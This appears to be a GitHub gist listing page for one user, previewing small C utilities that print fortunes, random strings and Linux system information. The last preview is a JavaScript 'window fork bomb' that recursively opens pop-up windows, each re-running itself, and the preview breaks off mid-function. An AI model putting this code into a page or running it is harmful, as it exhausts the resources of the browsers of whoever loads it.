Skip to content

Instantly share code, notes, and snippets.

View john302's full-sized avatar
💭
Busy

John Cartwright john302

💭
Busy
View GitHub Profile
@john302
john302 / randimg.c
Created November 1, 2018 00:15
Print random information with a simple C program.
/* Emacs style mode select: -*- linux-c -*-
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
@john302
john302 / randfortune.c
Created November 1, 2018 00:12
Print a random fortune from an array.
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include <string.h>
const char* x[] = {
"limerick", "fortunes2", "linuxcookie",
"freebsd-tips", "osfortune", "startrek",
"zippy", "debian-hints"
};
@john302
john302 / sysinfo.c
Created October 3, 2018 02:13
Print Linux system information in C.
struct utsname uname_pointer;
/* Conversion constants. */
const long minute = 60;
const long hour = minute * 60;
const long day = hour * 24;
const double megabyte = 1024 * 1024;
/* Obtain system statistics. */
struct sysinfo si;
sysinfo (&si);
@john302
john302 / random.c
Created October 3, 2018 01:03
Program to print a random string.
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main (void) {
srand((unsigned int)(time(NULL)));
int index = 0;
char char1[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789/,.-+=~`<>:";
@john302
john302 / windowForkBomb.js
Created August 14, 2018 22:36 — forked from wlib/windowForkBomb.js
JS window fork bomb
// Make sure to allow pop ups, or your browser will stop the window.open() (thankfully)
function fork() {
const win = window.open();
const script = win.document.createElement("script");
script.innerHTML = fork + "\n" + "fork();";
win.document.head.appendChild(script);
setTimeout(function() {
win.close();
fork();